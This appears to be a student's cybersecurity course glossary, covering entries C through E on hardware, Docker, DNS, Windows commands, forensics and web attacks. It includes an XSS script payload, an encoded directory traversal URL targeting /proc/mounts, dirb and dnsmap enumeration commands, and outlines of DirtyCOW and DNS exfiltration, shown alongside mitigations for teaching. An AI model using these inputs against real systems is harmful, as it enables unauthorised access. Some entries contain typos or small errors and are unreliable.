| Connectors  Computer hardware | Four pin peripherals: Used for powering fans.  SATA (Serial ATAA): powering hard drives.  Main ATX: Runs to the motherboard (require 20 \*common\* or 24 pins).  12V power: Runs to motherboard (4 \*common\* or 8 pins).  PCI-E power: Graphics card (6 or 8 pins). | | 1 | | 37 |
| Containers | 1. Container**s CAN run on top** of virtual machines (Linux Docker on top of Windows System) 2. Use virtualization capabilities but are not virtual machines that encapsulate a whole OS. 3. Less isolated, take up less space, efficient, version controlled and portable. 4. Designed to enable low-cost packaging of applications, libraries, and configuration. 5. Great for running 'n' instances of applications/configurations with reasonable isolation on top of one host | | 2 | | 366 |
| Containers vs. VM | Containers: Overall less isolated Efficient and take up less space Implicitly version-controlled and portable Great for running instances of applications/configurations with reasonable isolation on top of one host.  Virtual Machines: Much more isolated Able to run diverse setups and operating systems - Windows, Mac OS X and Linux all side by side Much heavier as you need to copy the 'entire OS and data' Less portable, though still much more than a traditional server | | 2 | | 366 |
| Containment  Incident response | This state if about “stopping the bleeding”. The attack has now been identified so it is time to stop the attacker from progressing any deeper into the target’s systems. | | 3 | | 107 |
| Content - MIME/Email  (Transfer-encoding) | Attachments encoded in base64(or 7bit, 8bit, printed quotable or binary) which can then be decoded by the email client | | 1 | | 380 |
| Content – MIME/Email  (Type) | text/html, text, plain | | 1 | | 380 |
| Content- MIME/Email  (Dispositions) | Attachment or inline. Allows multipart - inline image and zip attachment. | | 1 | | 380 |
| Context Switching | The processor shares processor time between multiple applications, swapping back and forth between them at a lightning-fast speed. | | 1 | | 25 |
| Contingency | A logical statement where the **outcomes could be true or false contingent on the inputs.** | | 1 | | 78 |
| Continue | Continue program execution without stepping through. | | 2 | | 348 |
| Continuous vulnerability assessment and remediation | Continuously acquire, assess, and act on new information to identify vulnerabilities and remediate them, in order to minimize the window of opportunity for attackers to take advantage of newly publicized vulnerabilities in software or hardware. | | 3 | | 46 |
| Control Unit (CU) | The Control Unit of a CPU is the part of the CPU responsible for directing electrical signals to the computer, to execute program instructions. It doesn't perform any execution of the program instructions itself; it only directs other parts of the computer system to do so. | | 2 | | 334 |
| Controlled use of administrative privileges | Track, control, prevent and correct the use of administrative privileges on computers, networks, and applications except where strictly necessary. (Normal users don't need administrative access) | | 3 | | 46 |
| Cookies | Tiny file that a web server creates on a visitor's computer. The file can hold any small amount of data. most common use of cookies is to save a unique identifier, called a session ID, after the login process is complete. Every page you visit on that site after logging in will cause your browser to transmit that session cookie to the site, which will tell the site not just that you are logged in, but which account you are logged in as. They have an expiry date, which is set by the site when it creates the cookie also are often used to track people across multiple sites by advertising networks. | | 1 | | 243 |
| Copy  (Windows CLI) | Windows Command Prompt - Copy allows us to copy one or more files to a different location, while leaving the original file untouched. Using copy is as simple as: copy <source> <destination> One thing we can't do with 'copy' is copy a directory - you must use robocopy | | 2 | | 306 |
| Core | Responsible for executing instructions. Modern processors often contain more than one core, allowing them to perform multiple tasks simultaneously, but some still just operate with one. | | 1 | | 24 |
| Cortana disabling | using registry to disable Cortana | | 2 | | 275 |
| Counting in binary | See tables page 48 | | 1 | | 48 |
| COW  (Copy On Write) | A flaw in the Linux kernel which allowed an unprivileged user to overwrite a non-writeable file remember the user accounts are stored in the 'passwd' file. If we can overwrite that, we can add a new account with the same privilege level as the root user. DirtyCOW overwrites the 'passwd' file in memory, the changes do not persist after a reboot. | | 3 | | 259 |
| CPU - Cache | A CPU cache is a hardware cache used by the central processing unit (CPU) of a computer to reduce the average cost (time or energy) to access data from the main memory. | |  | |  |
| CPU (Central Processing Unit) | The 'brain' of the computer. The processor is responsible for executing the instructions contained in computer programs. | | 1 | | 24 |
| Crawlers | The crawlers will start by visiting a page, then looking at the links on the page to the next page and do the same there. Eventually, the crawler will have indexed every publicly accessible page on the internet. | | 1 | | 218 |
| Create database | CREATE DATABASE databasename; MariaDB command to create a database | | 2 | | 246 |
| Creating a New User | Windows - Two of the simplest: using the Control Panel and using the Local Users management console. | | 2 | | 282 |
| Creating an agent class  CLI |  | | 2 | | 99 |
| Creating multiple instances  CLI | The real power of class and objects is the ability to create more than one object at a time | | 2 | | 101 |
| Creating New Groups  (Windows) | Creating New Groups In the management console you type lusrmgr.msc and click link when it appears - right click on group folder and select new group. | | 2 | | 288 |
| Credential Harvesting | Cloning a site and hosting it, then tricking a user into visiting it and entering login details | | 3 | | 246 |
| Critical asset | Identify critical assets which should be protected. | | 3 | | 44 |
| Critical Security controls  maintenance, monitoring and analyzing of logs | Collect, manage, and analyze audit logs that could help detect, understand, or recover from a breach. | | 3 | | 46 |
| Critical Security Controls | 20 most important. The most important controls that you can apply to a system. | | 3 | | 46 |
| Critical Security Controls  Email and web browser protections | Minimize the attack surface (opportunities) for attackers to trick users through interaction with web browsers or email systems. | | 3 | | 46 |
| Critical Security Controls  Limitation and Control of Network Ports, Protocols and Services | Manage, track, control and correct the ongoing use of ports, protocols, and services on networked devices to minimize windows of vulnerability available to attackers. (Don't run services you don't need.) | | 3 | | 46 |
| Critical Security Controls  Penetration Tests and Red Team Exercises | Test the overall strength of an organization’s defenses by simulating the objectives and actions of an attacker. | | 3 | | 46 |
| Critical Security controls - Data Protection | Prevent data exfiltration, mitigate the effects of exfiltrated data, and ensure the privacy and integrity of sensitive information. (If an attacker is on the network, they will likely be attempting to get data out of the network onto their computers.) | | 3 | | 47 |
| Critical Security Controls - Data Recovery Capability | Properly back up critical information with a proven and tested process for timely recovery. | | 3 | | 46 |
| Critical Security Controls –  Access Monitoring and Control | Manages the life cycle of system and application accounts’ creation, use, dormancy, and deletion - to minimize opportunities for attackers to use them. (For example, if someone leaves the company, make sure to delete their user account, so they can't still log in.) | | 3 | | 46 |
| Critical Security Controls –  Inventory of Authorized and Unauthorized software. | Inventory, manage, track, and correct all software on the network so only authorized software is installed and run. | | 3 | | 46 |
| Critical security controls Boundary Defense | Detect, prevent, and correct the flow of information transferring across networks of different trust levels with a focus on security-damaging data. (Make sure information isn't flowing from a restricted network segment into an unrestricted one.) | | 3 | | 46 |
| Critical Security Controls Security Skills Assessment and Appropriate Training to Fill Gaps | Identify the specific knowledge, skills and abilities needed to support defense of the enterprise; develop and execute an integrated plan to assess, identify and remediate gaps. | | 3 | | 46 |
| Cron Jobs | Wildcards are often used when running cron jobs. Remember, these are scheduled tasks on Linux. If a cron is running and you can see which command it is using, it may be possible to take advantage of it by dropping a file into a particular location. One common tool used in cron jobs is the 'rsync' command. | | 3 | | 262 |
| Cross Site Request Forgery  Identification | Trick a user into performing an action by clicking a link just based on the fact they are already signed in, Ex: when you sign into a site, you're given a cookie which identifies you to the site. That means once you come back to the site your cookie is presented and the site treats you as if you are logged in. While you are logged in, you can perform actions on your own account. For example, if you were logged into your online banking page, you could fill out a form and transfer some money to another user. | | 3 | | 169 |
| Cross Site Request Forgery  Exploitation | The idea is to trick a user into performing an action by clicking a link just based on the fact they are already signed in. | | 3 | | 214 |
| Cross Site Request Forgery - Mitigation | There are only 2 steps:   1. **Make sure every HTTP request submitting a form or any other kind of input comes from 'same origin'.** 2. **Use a CSRF token, which is required by every form or input on the site.**   Please note: You should avoid using CSRF tokens in GET requests, and therefore you should avoid having any sensitive actions in GET request at all. It's better to use POST requests for sensitive form submissions. | | 3 | | 170 |
| Cross Site Request Forgery (CSRF) | The victim must be authenticated with the target site | |  | |  |
| Cross Site Scripting (XSS)  Identification | A client-side attack that targets users that are browsing the site. Typically occurs in areas of the site where users input information. Targets are users browsing the site. Occurs in areas of the site user input is reflected back to the page. | | 3 | | 154 |
| Cross Site Scripting (XSS) Exploitation | Use HTML script tags like: ***?name=bob<script>alert("hahahahaha");</script>*** | | 3 | | 155 |
| Cross Site Scripting (XSS) Mitigation | Sanitize user input. Watch for certain characters; use a 3rd party library and not create your own filter. A cross-site scripting vulnerability occurs where unsanitized user input is displayed on a page. | | 3 | | 156 |
| Cross Site Scripting Attack Reflected | Sending a website user's session cookie to an attacker | | 3 | | 156 |
| Cross Site Scripting Attack Stored | This is where the XSS attack is stored in the database, such as in a forum post. Anyone who then visits that post will be hit with the attack. A stored XSS attack is more serious than a reflected XSS attack, because a reflected XSS attack must be targeted at an individual user by sending them a malicious link, while a stored XSS attack targets anyone who visits the affected page. | | 3 | | 156 |
| CRSF Token  Cross site Scripting | CSRF token is only generated by visiting the page before the form submission. They also should be kept in the POST request to keep a user session from being vulnerable. | | 3 | | 170 215 |
| Crypture (Steganography) | Command line tool to hide your sensitive data into a BMP image file | | 3 | | 100 |
| Ctrl-C | Sends a signal to abort the process Ctrl-D b/p. | | 1 | |  |
| Ctrl-X | Is used to close the text editor, nano. | | 1 | |  |
| Ctrl-Z | Used to suspend a running program and pauses the program's execution. | | 1 | |  |
| ctrl+c |  | | 1 | | 161 |
| ctrl+z |  | | 1 | | 161 |
| CU | Control Unit | | 2 | | 334 |
| Curly braces | {and } determines a block of code. | | 2 | | 155 |
| Custom web servers | Often used by large or complex web applications because they grant more freedom than generic web servers. | | 1 | | 234 |
| Cybersecurity law |  | | 3 | | 30 |
| Cyclic Pattern | A pattern in which any four bytes are unique. So, if we input a cyclic pattern and find where the program crashes, we can feed that hexadecimal value back to the pattern generation program, and it will tell us how many bytes there are until we overwrite the return pointer. | | 3 | | 191  236 |
| D |  | |  | |  |
| D: (Windows CLI) | Change drive from C: to D: | | 2 | | 300 |
| Data – RAM | When the CPU copies data from the memory address, it goes to the address in question and the value in that address is data. | | 3 | | 340 |
| Data Encoding | A message is converted to 8- bit binary. 3 chunks, each 8 bits in size (24 bits total), are grouped together. These are then represented as 4 consecutive chunks, 6 bits in size. | |  | |  |
| Data exfiltration - Characteristics | ICMP echo requests with varying data field sizes | |  | |  |
| Database | Client server model, Database Management System (DBMS) | | 1 | | 343 |
| Database | A database is very simply a store of data. There are two kinds of databases, relational databases, and non-relational databases. Relational databases are an organized store of data - the data is stored in a structured way. | | 2 | | 190 |
| Database Admin | The database admin can manipulate and control the entire database through tools. | | 1 | | 346 |
| Database Server (MySql) | It is a computer system that provides other computers (or programs) with services related to accessing and retrieving data from a database. As software, it is the back-end portion of a database application, following the client-server model. Database servers store and manage the databases stored on the server and provide data access for authorized users.  Charles Bachman 1969, back-end, DBMs ex: MySQL | | 1 | | 343 |
| DBMS | Database management systems. Provide server functionality - MySQL is a common one. | | 1 | | 343 |
| DBMS  (Database Management System) | Software that manages databases. It is responsible for managing access to the databases and executing SQL queries. | | 2 | | 189 |
| DDoS  (Distributed Denial of Service) networking 5) | Attackers use a huge number of systems (bots) and attack a system all at once. May be at protocol layer - such as just having a huge number of both systems connecting over TCP to flood the connection table. In other instances, they may be application layer, such as having a huge number of bots turn up and interact over HTTP to post to a login form. | | 1 | | 318 |
| DDoS - attack | Attackers target the availability. | | 1 | | 318 |
| Deb | Is a file package that was generated for the Debian distributions like ubuntu. | | 1 | | 207 |
| Debugger | This happens when debugging an executable with pwndbg with a function named function A is stepped over, instead of into. The d executes the code within function A and moves to the next instruction | | 2 | | 349 |
| Debugger | Tool that an attacker uses to identify potentially exploitable functions in a program and their memory address locations. | | 2 | | 342 |
| Debugging | 1. **Replicate the issue reliably:** If you can reliably find a way to replicate the steps, then you will be able to fix it, if not there isn’t very much you can do. 2. **Figure out where the bug is in the code:** Trace back your code, starting by where the bug was exposed, print out variable, list and dictionaries at every step and comment out code to focus on and run only specific sections. 3. **Understand why the bug occurred:** After locating the bug, we need to determine what is causing it. 4. Refactor to eliminate the bug: Once we know exactly where the bug is and why it is happening, all that’s left is to make revisions to eliminate the source of the bug. | | 2 | | 148 150 |
| Debugging 'password' | gbd ./password | | 2 | | 345 |
| Debugging a program with pwngdb. | Identifies the output format for data at address ox80448ef | |  | |  |
| Decimal | Decimal is a term that describes the base-10 number system, probably the most used number system. The decimal number system consists of ten single-digit numbers: 0, 1, 2, 3, 4, 5, 6, 7, 8 and 9. The number after 9 is 10. The number after 19 is 20 and so forth. | | b | |  |
| decimal(x,y) |  | | 2 | | 249 |
| Declarative programming | It is a programming paradigm in which the programmer defines what needs to be accomplished by the program without defining how it needs to be implemented. In other words, the approach focuses on what needs to be achieved instead of instructing how to achieve it. | | b | |  |
| Decode | CU decodes the instruction and retrieves the necessary data from memory and places it into the arithmetic logic unit (ALU) of the CPU. | | 2 | | 337 |
| Decoding base64 command | **echo -e "JTQgSGV5IGZvbGtzIGhvdyBnb2VzCg==" | base64 -d** | |  | |  |
| Decrement in c -- | Use **--** (subtraction operator) | | 2 | | 165 |
| Decrypting data | To be able to decrypt, you will need:  -Encrypted data  -know encryption key  -Knowing the encryption algorithm | | 3 | | 9 |
| Default Account (Windows) | Used as template for all new accounts created on the system, DISABLED by default | | 2 | | 280 |
| Default Accounts  (Windows) | **Administrator:** This account has 'full' control over the machine. There are some things it can't do (generally something that would break the operating system), but it can be used to manage other users and install applications.  **Guest:** Is used by people who do not have an actual account on the computer. It is limited in what it can do, and care should be taken to ensure that this account is not able to do anything that could cause harm.  **DefaultAccount:** This is used as the template for all new accounts created on the machine. Any changes made to this account will be carried over. | | 2 | | 281 |
| Default file permissions | Are assigned by the operating systems so that the file can be accessed without further configuration. see also new file. | | 2 | | 82 |
| Default setting for user account control (UAC) that improves windows security. | Notifies users of software installation | |  | |  |
| Defender | Provides robust malicious code prevention capabilities out of the box. Running multiple antivirus products at once can cause unexpected behavior in the computer. Disables itself if third party AV is installed. | | 2 | | 273 |
| Defense in Depth | Approach involves layering security controls throughout the network. Any one layer of protection could fail, so multiple levels of protection must be employed.  Best to detect and respond to breach than to prevent one as preventative measure can always be bypassed | | 3 | | 44 |
| Defensive Programming (Python) | Not a paradigm but tries to expect the unexpected to prevent bugs and unexpected behavior from occurring. | | 2 | | 133 |
| del  (Windows Command Prompt) | It does not prompt for confirmation. To delete a file: del <filename>. You can also use wildcards: del \*.txt This will delete all files with the .txt extension in the current folder. Using '/P' will prompt before deleting files. YOU CANNOT DELETE DIRECTORIES. | | 2 | | 309 |
| Deleted file | Index entry is removed, but the file contents are not removed from disk.  Instead, that cluster is marked as overwritable, and the contents of a new file could overwrite the data there. | | 1 | | 81 |
| Deleted Files | The first step in a forensic investigation is to retrieve and index all the files on the file system. This includes deleted files that have not been overwritten and remain on the disk. There are ways to securely delete a file, by forcing the operating system to write over the data, even after it is marked as deleted. However, this doesn't always work on SSD drives. | | 3 | | 121 |
| Denary | The denary numbering system (base 10) starts from 0 and runs through to 9. | | 1 | | 46 |
| Denary to Binary | Denary converted to Binary | | 1 | | 49 |
| Denary to Hex | Convert denary to hexadecimal using the same process as we did for **Binary** | | 1 | | 53 |
| DES | Was developed in the 1970s, but it is rarely used today because DES uses a small 64-bit encryption key. DES has a key size of 64 bits, 8 bits of that is used for error checking, so the effective length is a mere 56 bits. | | 3 | | 11 |
| Detach | Docker run --detach -> to run in the background. (Not in the book) | | 2 | | 370 |
| DHCP  (Dynamic Host Configuration Protocol) | It is how most systems get an IP address when they first join a network. DHCP allows a DHCP server present on the network to assign network configuration settings to each host automatically when they join the network. This makes joining a network seamless to the end user. The DHCP protocol makes it easy to connect systems to a network without having to configure networking each time. | | 1 | | 300 |
| DHCP server | On the router, preconfigured (by ISP). | | 1 | | 325 |
| Difference between encryption and encoding. | An encryption has an encryption key while encoding does not. | |  | |  |
| Difference between sudo and su. | Sudo is allowed by the admin to run a command while su is to become the admin | |  | |  |
| Dig  (Domain information groper) | Is a flexible tool for interrogating DNS name servers. It performs DNS lookups and displays the answers that are returned from the queried name server(s). Most DNS administrators use the dig command to troubleshoot DNS problems because of its flexibility, ease of use, and clarity of output. Although dig is normally used with command-line arguments, it also has a batch mode for reading lookup requests from a file. Unlike earlier versions, the BIND9 implementation of dig allows multiple lookups to be issued from the command line. Unless it is told to query a specific name server, the dig command tries each of the servers listed in the /etc/resolv.conf file. If you specify no command line arguments or options, the dig command performs an NS query for "." (the root). | | 2 | |  |
| Digital Forensics | Used in incident response is the process of preserving and evaluating electronic data, to reconstruct prior events. In other words, the goal is to acquire an accurate representation of the data on a target system and then evaluate it for clues, to find out what happened. | | 3 | | 96 |
| Dirb | Is a web content scanner that looks for existing (and/or hidden) Web Objects. Works by launching a dictionary-based attack against a web server and analyzing the responses. DIRB comes with a set of preconfigured attack wordlists for easy usage, but you can use your custom wordlists. DIRB can also be used a CGI scanner. It is a content scanner not a vulnerability scanner. DIRB helps in web application auditing and security related testing. It covers some holes not covered by classic web vulnerability scanners as it looks for specific web objects that other generic CGI scanners can’t look for. | | 3 | | 84 |
| Dirb - Root Directory Attack | root@kali:~/target# dirb https:www.sans.org/user/share/wordlists/dirb/small .txt - armed with a list of websites you could start to find directories that are not linked directly in the public areas of the site. this tool uses a wordlist to craft HTTP requests to the target, and it will tell us if the directory exists on the site. THE ATTACK IS A SEARCH FOR DIRECTORIES NOT LINKED TO PUBLIC AREAS OF A WEBSITE. | |  | |  |
| Dirb (Blue team) | **Dirb search is noisy, generates a lot of traffic, and obvious from logs that someone is using a similar tool on you** | | 3 | | 85 |
| Dirb (Red team) | Tool uses a wordlist to craft HTTP requests to the target, and it will tell us if the directory exists on the site. | | 3 | | 84 |
| Dirb command use | **# Dirb http://myfakedomain.local /usr/share/wordlists/Dirb/small.txt** | | 3 | | 84 |
| Dirb tool (Reconnaissance) | Tool uses a wordlist to craft HTTP requests to the target, and it will tell us if the directory exists on the site | | 3 | | 84 |
| Directory Traversal - Identification | file is loaded based on a filename provided by the user. Uses. To reference files outside normal path **../ & ..\**  Used to read sensitive data in the web application, or on the operating system running the server. Besides being able to read sensitive data within the web application, it could also allow the attacker to navigate outside the webserver’s root. | | 3 | | 217 |
| Directory Traversal – Mitigation | It is to not use user input when making file system calls, or use and index, or filter out characters that make the exploit possible. | | 3 | | 172 |
| Directory Traversal –  Exploitation | A directory traversal attack is an injection of directory code to try and navigate to a specific directory / file on a computer  http://www.theforce.org/view.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/mounts (%2e%2e%2f%2e%2e%2f%2e%2e%2f decoded is '../../../' The URL is attempting to navigate to ../../../proc/mounts) | | 3 | | 172 |
| DirtyCOW | COW stands for Copy on Write; it was a flaw in the Linux kernel which allowed an unprivileged user to overwrite a non-writeable file. The user accounts are stored in the 'passwd' file. If we can overwrite that, we can add a new account with the same privilege level as the root user. | | 3 | | 259 |
| Disable Banner | Apache signature should be disabled | | 1 | | 340 |
| Disas Main  Debugging | Command to disassemble code | | 2 | | 357 |
| Disk capture | See if hard disk has full disk encryption. Data is encrypted on drive when the PC is off but decrypted when on | | 3 | | 120 |
| Disk Capture | It is important to capture disk data in a way that preserves its integrity as evidence. One way to do this is by using a tool like Magnet's Encrypted Disk Detector to determine if a hard drive is encrypted with full disk encryption, in which case it must be imaged while the computer is still on (live capture). If the computer is on but the disk is not encrypted, it is recommended to unplug the power cord, remove the hard drive, and connect it to a write blocker. The write blocker can then be connected to an analyst's computer and the drive can be captured using a tool like FTK Imager. It is also important to hash the captured disk image and record the hash in various places, including a notebook, the evidence bag, and a text file with the disk image, to ensure the integrity of the evidence. leaving the system running is needed when capturing a disk that has full disk encryption enabled. | | 3 | | 120 |
| Disk file systems | FAT(12/16/32), NTFS, HFS, ext2/3/4, and UNIX | | 3 | | 118 |
| Disk Forensics | Is the science of extracting information from hard disk images. After extracting the information, then it will be compressed in an Encase E01 file (EO format) or in a raw image capture (“dd” image).  The most common today being the hard disk drive (HDD). Ex: Disk file systems include FAT(12/16/32), NTFS, HFS, ext2/3/4, and UNIX. File systems such as FAT (File Allocation Table) and UNIX store directory information as a simple flat file. This is different to NTFS, as NTFS provides indexing and efficient storage of large data for fast lookups. | | 3 | | 118 |
| Display Port | Most Modern | | 1 | | 33 |
| Dividing integers | Python2 - 5/2 - will give 2. In python2, 5.0/2 or 5/2.0 or 5.0/2.0 gives the float value | | 2 | | 26 |
| DKIM (Domain Keys Identified Mail) | Like SPF, but more advanced since you put a public key in your text record in your DNS settings for that domain. When the email is received, the server will validate that signature using the public key in your DNS records. If the signature is not valid, then it is a forgery. | | 1 | | 285 |
| dll | Is a dynamically linked library, a code repository that other external programs can access to run the code contained within). | | 3 | | 316 |
| DMZ  (Demilitarized zone) | The DMZ is the high-risk area of the network, so there are likely to be more defenses in place between it and the important areas of the network. | | 3 | | 321 |
| DNS  (Domain Name System) | Translates domain name into IP address, often given by ISP, router pre-setup to use DHCP (Dynamic Host Configuration Protocol) to tell every computer on your network to use that DNS server. | | 1 | | 290 |
| DNS - Exfiltration | A clever method of exfiltrating data is to use DNS queries. Many organizations don't log DNS queries at all. The way it works is like so: An attacker registers a domain, such as: myfakedomain.fake the attacker sets up a DNS server to be authoritative for that domain. The malware will then send data by making DNS queries against. myfakedomain.fake. | | 3 | | 339 |
| DNS over HTTPS (/2)  DoH | In this instance DNS queries are sent over HTTP or HTTP/2 instead of over UDP. This provides the same features as DoT and makes sure an attacker can't see inside the requests or responses, as well as protecting them from tampering. This has become an increasingly default protocol for many browsers and users. Dot and DoH both use TLS to encrypt. DoH uses port 443 which is a standard port used by most websites for secure web connections. That means it is very often available. Better for user privacy all requests are sent using regular HTTPS traffic. Extension called oblivious DoH which would effectively route the traffic through a proxy server, so DNS servers do not know who sent the request. | | 1 | | 356 |
| DNS over HTTPS (/2)  DoH – Ports | Uses port 443 (standard port used by most websites for secure web connections) | | 1 | | 357 |
| DNS over HTTPS (/2)  DoH | DNS queries are sent over HTTP or HTTP/2 instead of over UDP (hiding requests). | | 1 | | 357 |
| DNS over HTTPS(/2) | Aka: DoH. Can provide the same features as DoT but the attacker can’t see the inside of the requests or responses. | | 1 | | 356 |
| DNS over TLS | Aka: DoT. Is a way to encrypt DNS using TLS. DNS sits on UDP and encrypted with TLS to hide the contents of the query. | | 1 | | 356 |
| DNS over TLS  DoT | In DoT the DNS sits on top of UDP, which is simply wrapped with encryption via TLS. This provides a mechanism to hide the contents of the query and makes tampering detectable, as the encryption will be corrupted through modification. DoT and DoH both use TLS to encrypt. DoT on the other hand uses port 853, so you get a dedicated port for visibility and network filtering, but it may be more restricted. Encrypted DNS request can monitor DNS requests to identify malicious traffic. | | 1 | | 356 |
| DNS over TLS  DoT port | Uses port 853 (dedicated port). | | 1 | | 357 |
| DNS over TLS  DoT | **(Dns over TLS)** a way to encrypt DNS using TLS, DNS sits on top of UDP, encrypted via TLS (hiding requests) | | 1 | | 357 |
| DNS Recon | Armed with a list of domain names, you can find a lot of information on them through DNS alone. If we know the name server that is authoritative for a domain, and the name server in question has been misconfigured to allow zone transfers from unauthenticated sources, we can perform a zone transfer. If results are returned, then it means the subdomains exist and you will get the IP addresses associated with them. This DNS server should not be reachable from outside the company network. | | 3 | | 82 |
| DNS Recon (blue team) | Don’t configure DNS to allow zone transfers, and do not put a DNS server facing internet - use 2 dns servers. | | 3 | | 83 |
| DNS Recon (red team) | If we know authoritative server, it may be misconfigured to allow zone transfers from unauthenticated srcs | | 3 | | 82 |
| DNS Records | multiple record types that hold different types of information. The A record, a name to an IP address mapping, is still the most common. | | 1 | | 296 |
| DNS Records -  A Record | Address mapping recordmaps a domain name to an IPv4 address. | | 1 | | 297 |
| DNS Records -  AAAA Record | IPv6 Address Mapping' record. The equivalent of an A record, but for IPv6 addresses. | | 1 | | 297 |
| DNS Records -  CNAME Record | Canonical Name' record is used for creating an alias of a domain name. | | 1 | | 297 |
| DNS Records -  MX Record | Mail Exchange' record specifies the mail server which is responsible for handling email for that domain. | | 1 | | 297 |
| DNS Records -  TXT Record | Text' record is used for storing any other textual data associated with the domain name. | | 1 | | 297 |
| DNS Records -  NS record | Name Server' record points to the authoritative name server for the domain. | | 1 | | 297 |
| DNS Records -  PTR record | Pointer' record is used for reverse DNS lookups, ties an IP address to domain name 1.0.168.192.in-addr.arpa. | | 1 | | 297 |
| DNS Records -  MX Record | The MX record or 'Mail Exchange' record specifies the mail server which is responsible for handling email for that domain. When an external user sends an email to your domain, their mail server will perform a DNS lookup for the 'MX' record to find the IP address of the mail server to send the email to. | | 1 | | 296 |
| DNS Records –  NS Record | An NS record (or nameserver record) is a DNS record that contains the name of the authoritative name server within a domain or DNS zone. When a client queries for an IP address, it can find the IP address of its intended destination from an NS record via a DNS lookup. | | 1 | | 296 |
| DNS recourser | Alias for recursive resolver | | 1 | | 350 |
| DNS Server | Domain name system (the phonebook of the internet) server is responsible for translating typed domain names into numeric IP address. Types: authoritative servers and client facing servers. Four types of DNS servers: Recursive resolver/DNS recursor, Root nameserver, TLD (top level domain) nameserver, Authoritative nameserver. | | 1 | | 350 |
| DNS Server - Benefits | Your ISP may block access to specific sites using DNS. Another major benefit of changing your DNS servers from the default is speed. DNS traffic is unencrypted. DNS can be customized to protect you. 'If you control DNS you win'. | | 1 | | 353 |
| DNS Server - Security | DNS is not encrypted, anyone on the network where your traffic passes through can intercept the request and send you to the wrong website. DNS is sent in plaintext, which allows it to be monitored by anyone in the path of transit. It can be used as a man-in-the-middle attack or simply to gather information about a person or organization. Missing patches are one of the most common root causes of compromise. | | 1 | | 355 |
| DNSKEY Rrset | Trust depends on the root therefore at the top root level signing, humans are there to verify it. This is known as the DNSSEC root signing ceremony to sign the DNSKEY RRset. This makes it verifiable and trustworthy. | | 1 | | 358 |
| DNSmap | Enumerates (lists one by one) DNS subdomains records using a wordlist. If a word isn't in the wordlist, the related subdomain will not be found. | | 3 | | 82 |
| dnsmap myfakedomain.local -w /usr/share/wordlists/dnsmap.txt | Kali Linux is searching for subdomains based upon the wordlist provided | |  | |  |
| DNSSEC  (Domain Name Systems Security) | The signature can be used to validate that the response comes from the right server and that it has not been tampered with. Related to DNS root server lookups and how authoritative name servers correspond with DNS servers. **DNSSEC is more focused on problems like DNS cache poisoning**. | | 1 | | 358 |
| Dock | Frequently used and running applications. | | 1 | | 120 |
| Docker | Containers use virtualization capabilities but are not virtual machines that encapsulate a whole OS. | | 2 | | 367 |
| Docker - build | docker build --tag <tagname> . This command builds a docker images from a Dockerfile. | | 2 | | 370 |
| Docker - Containers | isolated from each other, bundling configuration, software, and libraries. Can be started/stopped. | | 2 | | 367 |
| Docker - Containers | are the running instantiation of an image, can be removed to save space | | 2 | | 368 |
| Docker - Daemon | Is the server that runs in the background, helping us build Docker containers from their images. | | 2 | | 368 |
| Docker - Daemon | This component of Docker builds, runs, and deliver containers. | | 2 | | 368 |
| Docker - Hub | A registry of Docker images, plus you can roll your own! This is a powerful concept in providing portability. | | 2 | | 368 |
| Docker - Image | A Docker image is executable code built in layers and is a read-only template for building a container. | | 2 | | 368 |
| Docker - Images | * Executable code built in layers. A **READ ONLY** template or recipe for a container. * Used to generate lists of images that are stored locally and provides arguments for handling them. * Recipe for building docker containers | | 2 | | 367 |
| Docker - vulnerability | If there's a vulnerability in Host OS, it can impact all associated containers - true with virtualization but **risks are lower**. | | 2 | | 368 |
| Docker – Client | The component you use to issue instructions, such as the Docker CLI. | | 2 | | 367 |
| Docker CLI | <docker pull> - Grabs an image from the repository for you, perhaps a specified version like ubuntu:18.04 or ubuntu: latest. <docker run> - Enables you to run a container and execute something inside it, either by default, explicitly by being passed as an argument -- and both interactively like a shell, or in the background. <docker images> - Lists images stored locally and provides arguments for handling them, such as <docker images rm> | | 2 | | 369 |
| Docker Container Prune | Only removes the stopped containers but leaves the images intact so new containers can be spun up. | | 2 | | 369 |
| docker image rm <image> | Docker image rm -f -> force remove | | 2 | | 369 |
| Docker images (command) | Lists images stored locally | | 2 | | 368 |
| docker images rm (command) | Removes a docker image | | 2 | | 368 |
| Docker logs | Docker log <container id> | | 2 | | 369 |
| Docker ps | Is a Docker command to list the running containers by default | | 2 | | 369 |
| Docker pull | Grabs an image from the repository for you. | | 2 | | 369 |
| Docker pull (command) | Grabs image from repository | | 2 | | 368 |
| Docker run | Docker run - Enables you to run a container and execute something inside it, either by default, explicitly by being passed as an argument -- and both interactively like a shell, or in the background. | | 2 | | 369 |
| Docker RUN | will run commands as part of image building process. | | 2 | | 370 |
| Docker run (command) | Runs a container and execute something inside it, either by default, explicitly by being passed as an argument. | | 2 | | 368 |
| Dockerfile | to build our own image | | 2 | | 370 |
| Documentation (python) | Programmers have different styles of writing code | | 2 | | 128 |
| DoS  Denial of Service | Denial of Service or DoS attacks consume resources and prevent real customers from connecting. More application layer based - attacker overloads the system in processing terms. | | 1 | | 317 |
| DOS Prompt | It is what a lot of people call the command prompt (CLI) by mistake. MS-DOS is not the CLI. | | 2 | | 298 |
| Dot Notation (python) | Sets the value of a class variable e.g., ***Agent\_q.name*** or myname.lower() | | 2 | | 100 |
| Drive by download | Compromised site target visits often & installs malware taking advantage of security holes in the target's browser | | 3 | | 286 |
| Drive by Download | A drive-by download attack is where an attacker compromises a site that their target visits often and installs malware which takes advantage of security holes in the target's browser to compromise them when they visit. Third party browser plugins such as Flash Player are excellent targets for drive-by download attacks. These drive-by attacks occur without users' knowledge, as the downloaded file is not displayed in the browser and is not saved to the download folder. | | 3 | | 241 |
| Drive by download attack. | Where the attacker compromises a site that their target visits often and installs malware | |  | |  |
| DROP TABLE | DROP TABLE IF EXISTS will delete a table if one exists | | 2 | | 256 |
| Dumpfiles | extract FILE\_OBJECTS from memory | | 3 | | 134 |
| DVI | More modern than VGA | | 1 | | 33 |
| **E** |  | |  | |  |
| E-ATX | Largest or extended motherboard size | | 1 | | 22 |
| e01 | Expert file extension used in **court (EnCase)** | | 3 | | 118 |
| E1 | Base pointer - hold address pointing to bottom of stack frame | | 2 | | 336 |
| EAX EBX ECX EDX | General purpose registers | | 2 | | 335 |
| EBP | Base Pointer. It contains a memory address, which points to the bottom of the current stack frame in RAM. | | 2 | | 336 |
| echo (environment variables) | Echo command to print an environment variable. | | 1 | | 145 |
| echo $PATH | You can use echo $PATH to find which directories your shell is set to check for executable files. To do so: Type echo $PATH at the command prompt and press enter. This output is a list of directories where executable files are stored. | | ` | |  |
